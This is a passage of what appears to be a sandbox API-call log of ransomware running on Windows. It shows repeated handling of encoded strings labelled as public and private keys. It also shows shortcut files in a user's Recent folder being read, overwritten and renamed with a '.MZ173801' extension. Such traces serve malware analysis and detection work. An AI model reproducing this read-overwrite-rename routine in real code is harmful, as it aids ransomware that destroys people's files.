rbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0147.521] GetCurrentThreadId () returned 0xab4 [0147.521] GetCurrentThreadId () returned 0xab4 [0147.521] GetCurrentThreadId () returned 0xab4 [0147.522] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.522] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.522] GetCurrentThreadId () returned 0xab4 [0147.522] GetCurrentThreadId () returned 0xab4 [0147.522] GetCurrentThreadId () returned 0xab4 [0147.522] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CyPtYrEBdI9stHyXAH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\cyptyrebdi9sthyxah.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.522] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.523] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.523] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x449 [0147.523] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.523] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x449, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x449, lpOverlapped=0x0) returned 1 [0147.524] CloseHandle (hObject=0x280) returned 1 [0147.524] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CyPtYrEBdI9stHyXAH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\cyptyrebdi9sthyxah.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.525] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x449, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x449, lpOverlapped=0x0) returned 1 [0147.526] CloseHandle (hObject=0x280) returned 1 [0147.527] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CyPtYrEBdI9stHyXAH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\cyptyrebdi9sthyxah.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CyPtYrEBdI9stHyXAH.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\cyptyrebdi9sthyxah.lnk.mz173801")) returned 1 [0147.528] GetCurrentThreadId () returned 0xab4 [0147.528] GetCurrentThreadId () returned 0xab4 [0147.528] GetCurrentThreadId () returned 0xab4 [0147.528] GetCurrentThreadId () returned 0xab4 [0147.528] GetCurrentThreadId () returned 0xab4 [0147.528] GetCurrentThreadId () returned 0xab4 [0147.528] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3b3f7b9, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf3b3f7b9, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf3b3f7b9, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x2a6, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="D7yD06jADs4bzbO.lnk", cAlternateFileName="D7YD06~1.LNK")) returned 1 [0147.528] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.528] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.528] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\D7yD06jADs4bzbO.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\d7yd06jads4bzbo.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3b3f7b9, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf3b3f7b9, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf3b3f7b9, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x2a6)) returned 1 [0147.528] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\D7yD06jADs4bzbO.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\d7yd06jads4bzbo.lnk")) returned 0x20 [0147.528] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\D7yD06jADs4bzbO.lnk", dwFileAttributes=0x80) returned 1 [0147.531] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.531] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.532] GetCurrentThreadId () returned 0xab4 [0147.532] GetCurrentThreadId () returned 0xab4 [0147.532] GetCurrentThreadId () returned 0xab4 [0147.532] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.532] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.533] GetCurrentThreadId () returned 0xab4 [0147.533] GetCurrentThreadId () returned 0xab4 [0147.533] GetCurrentThreadId () returned 0xab4 [0147.533] CreateFileW 